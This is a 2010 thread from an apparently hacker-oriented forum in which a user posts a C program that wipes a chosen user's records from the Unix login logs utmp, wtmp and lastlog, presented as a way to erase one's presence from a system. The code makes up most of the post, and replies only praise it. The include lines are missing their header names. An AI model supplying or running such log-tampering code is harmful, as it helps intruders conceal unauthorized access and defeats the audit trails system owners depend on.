**REVENGER TEAM**
WELCOME TO THE REVENGER TEAM FORUM!! GET COOL MIG33 INFO AND OTHER SEVERAL THINGS! REGISTER TO ACCESS THE FULL FEATURE.

<font color="pink">Visit chatroom</font><font color="red">AMERICAN CHILD</font>

**REGARDS-<<REVENGER TEAM>>**

**REVENGER TEAM**

♥WELCOME♥ ♥TO♥ ♥REVENGER♥ ♥FAMILY♥
 
HomePortalCalendarGalleryFAQSearchMemberlistUsergroupsRegisterLog in
****REVENGER TEAM****
Latest topics
» quote 1
Thu Jul 07, 2011 9:34 pm by axif7

» quote 2
Thu Jul 07, 2011 9:33 pm by axif7

» MuAddicted
Wed May 25, 2011 11:21 pm by I-See-Sounds

» Kill The Leader v3 ***Free version***
Sun May 08, 2011 12:25 am by bemine_4ever

» special offers
Fri May 06, 2011 7:48 am by Admin

» how to reset ur avatar
Mon May 02, 2011 3:08 pm by bemine_4ever

» t3rmin4t0r has entereD
Mon May 02, 2011 3:07 pm by bemine_4ever

» Moderators required
Sun May 01, 2011 12:08 pm by bemine_4ever

» posting rules+ other infos
Sun May 01, 2011 12:01 pm by bemine_4ever

CHATBOX
©bishal.cbox.ws
Top posters
bemine_4ever (231)
 
axif7 (137)
 
Shaheen (118)
 
Admin (111)
 
Atom (59)
 
SyntaxError (52)
 
twink_shadow (50)
 
Nayanbanik (32)
 
laithrv (23)
 
forum (15)
 
FORUM STAFFS
ADMIN(admin)
Bemine_4ever(admin)
Admin_(admin)
axif7(supporter)
azhan(supporter)

Share | 
 

 erasing your presence from system logs

View previous topic View next topic Go down 
AuthorMessage
icarus_13revenger
Level 2
Level 2


Posts : 4
Points : 2539006
Likes : 0
Join date : 2010-10-15

PostSubject: erasing your presence from system logs   Sun Oct 17, 2010 2:51 pm




¤¤ Erasing Your Presence From System Logs ¤¤



Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.



Example:



#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;



if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}



void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;



pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {



while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}



void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;



if ((pwd=getpwnam(who))!=NULL) {



if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}



} else printf("%s: ?\n",who);

}



main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}







i have never used it personally friends

Back to top Go down
View user profile
Shaheen
Level 13Level 13
avatar

Posts : 118
Points : 2591019
Likes : 1
Join date : 2010-12-17
Age : 25
Location : afghanistan

PostSubject: Re: erasing your presence from system logs   Tue Dec 21, 2010 7:29 pm

hmmmm
Back to top Go down
View user profile http://www.americanchild.wapsite.me
twink_shadow
Level 10
Level 10


Posts : 50
Points : 2537016
Likes : 1
Join date : 2010-12-14

PostSubject: Re: erasing your presence from system logs   Tue Dec 21, 2010 11:59 pm

nice ....
Back to top Go down
View user profile
Shaheen
Level 13Level 13
avatar

Posts : 118
Points : 2591019
Likes : 1
Join date : 2010-12-17
Age : 25
Location : afghanistan

PostSubject: Re: erasing your presence from system logs   Wed Dec 22, 2010 11:55 am

keep it up
Back to top Go down
View user profile http://www.americanchild.wapsite.me
Sponsored content




PostSubject: Re: erasing your presence from system logs   

Back to top Go down
 
erasing your presence from system logs
View previous topic View next topic Back to top 
Page 1 of 1
 Similar topics
-
» [ANSWERED] UDF File System?
» [IMPLEMENTED] Registry tweak to disable File System Tunneling
» [ANSWERED] How to change the Logo at Control Panel -> System
» How to write logs>
» How to reformat and reinstall your Operating System

Permissions in this forum:You cannot reply to topics in this forum
**REVENGER TEAM** :: ♥♥♥Pc-ZonE♥♥♥ :: Analytical Engine-
Jump to: